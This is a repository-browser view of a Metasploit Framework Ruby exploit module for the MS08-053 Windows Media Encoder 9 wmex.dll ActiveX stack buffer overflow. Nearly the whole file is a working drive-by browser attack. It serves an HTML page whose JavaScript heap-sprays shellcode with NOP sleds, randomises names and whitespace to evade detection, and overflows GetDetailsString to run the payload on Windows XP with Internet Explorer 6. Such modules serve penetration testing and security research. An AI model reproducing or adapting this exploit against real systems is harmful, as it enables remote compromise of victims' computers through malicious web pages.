Statistics
| Branch: | Tag: | Revision:

root / modules / exploits / windows / browser / ms08_053_mediaencoder.rb @ master

History | View | Annotate | Download (3.4 kB)

1
##
2
# $Id$
3
##
4

    
5
##
6
# This file is part of the Metasploit Framework and may be subject to
7
# redistribution and commercial restrictions. Please see the Metasploit
8
# Framework web site for more information on licensing and terms of use.
9
# http://metasploit.com/framework/
10
##
11

    
12
require 'msf/core'
13

    
14
class Metasploit3 < Msf::Exploit::Remote
15
        Rank = NormalRanking
16

    
17
        include Msf::Exploit::Remote::HttpServer::HTML
18

    
19
        def initialize(info = {})
20
                super(update_info(info,
21
                        'Name'           => 'Windows Media Encoder 9 wmex.dll ActiveX Buffer Overflow',
22
                        'Description'    => %q{
23
                                        This module exploits a stack buffer overflow in Windows Media Encoder 9. When
24
                                sending an overly long string to the GetDetailsString() method of wmex.dll
25
                                an attacker may be able to execute arbitrary code.
26
                        },
27
                        'License'        => MSF_LICENSE,
28
                        'Author'         => [ 'MC' ],
29
                        'Version'        => '$Revision$',
30
                        'References'     =>
31
                                [
32
                                        [ 'CVE', '2008-3008' ],
33
                                        [ 'OSVDB', '47962' ],
34
                                        [ 'BID', '31065' ],
35
                                        [ 'MSB', 'MS08-053' ],
36
                                ],
37
                        'DefaultOptions' =>
38
                                {
39
                                        'EXITFUNC' => 'process',
40
                                },
41
                        'Payload'        =>
42
                                {
43
                                        'Space'         => 1024,
44
                                        'BadChars'      => "\x00",
45
                                },
46
                        'Platform'       => 'win',
47
                        'Targets'        =>
48
                                [
49
                                        [ 'Windows XP SP2-SP3 IE 6.0 SP0-SP2', { 'Ret' => 0x0C0C0C0C } ]
50
                                ],
51
                        'DisclosureDate' => 'Sep 9 2008',
52
                        'DefaultTarget'  => 0))
53
        end
54

    
55
        def autofilter
56
                false
57
        end
58

    
59
        def check_dependencies
60
                use_zlib
61
        end
62

    
63
        def on_request_uri(cli, request)
64
                # Re-generate the payload.
65
                return if ((p = regenerate_payload(cli)) == nil)
66

    
67
                # Encode the shellcode.
68
                shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
69

    
70
                # Create some nops.
71
                nops    = Rex::Text.to_unescape(make_nops(4))
72

    
73
                # Set the return.
74
                ret     = Rex::Text.to_unescape([target.ret].pack('V'))
75

    
76
                # Randomize the javascript variable names.
77
                vname  = rand_text_alpha(rand(100) + 1)
78
                var_i  = rand_text_alpha(rand(30)  + 2)
79
                rand1  = rand_text_alpha(rand(100) + 1)
80
                rand2  = rand_text_alpha(rand(100) + 1)
81
                rand3  = rand_text_alpha(rand(100) + 1)
82
                rand4  = rand_text_alpha(rand(100) + 1)
83
                rand5  = rand_text_alpha(rand(100) + 1)
84
                rand6  = rand_text_alpha(rand(100) + 1)
85
                rand7  = rand_text_alpha(rand(100) + 1)
86
                rand8  = rand_text_alpha(rand(100) + 1)
87

    
88
                content = %Q|
89
                <html>
90
                        <object id='#{vname}' classid='clsid:A8D3AD02-7508-4004-B2E9-AD33F087F43C'></object>
91
                        <script language="JavaScript">
92
                        var #{rand1} = unescape('#{shellcode}');
93
                        var #{rand2} = unescape('#{nops}');
94
                        var #{rand3} = 20;
95
                        var #{rand4} = #{rand3} + #{rand1}.length;
96
                        while (#{rand2}.length < #{rand4}) #{rand2} += #{rand2};
97
                        var #{rand5} = #{rand2}.substring(0,#{rand4});
98
                        var #{rand6} = #{rand2}.substring(0,#{rand2}.length - #{rand4});
99
                        while (#{rand6}.length + #{rand4} < 0x40000) #{rand6} = #{rand6} + #{rand6} + #{rand5};
100
                        var #{rand7} = new Array();
101
                        for (#{var_i} = 0; #{var_i} < 600; #{var_i}++){ #{rand7}[#{var_i}] = #{rand6} + #{rand1} }
102
                        var #{rand8} = "";
103
                        for (#{var_i} = 0; #{var_i} < 1024; #{var_i}++) { #{rand8} = #{rand8} + unescape('#{ret}') }
104
                        #{vname}.GetDetailsString(#{rand8}, 1);
105
                        </script>
106
                </html>
107
                        |
108

    
109
                content = Rex::Text.randomize_space(content)
110

    
111
                print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")
112

    
113
                # Transmit the response to the client
114
                send_response_html(cli, content)
115

    
116
                # Handle the payload
117
                handler(cli)
118
        end
119

    
120
end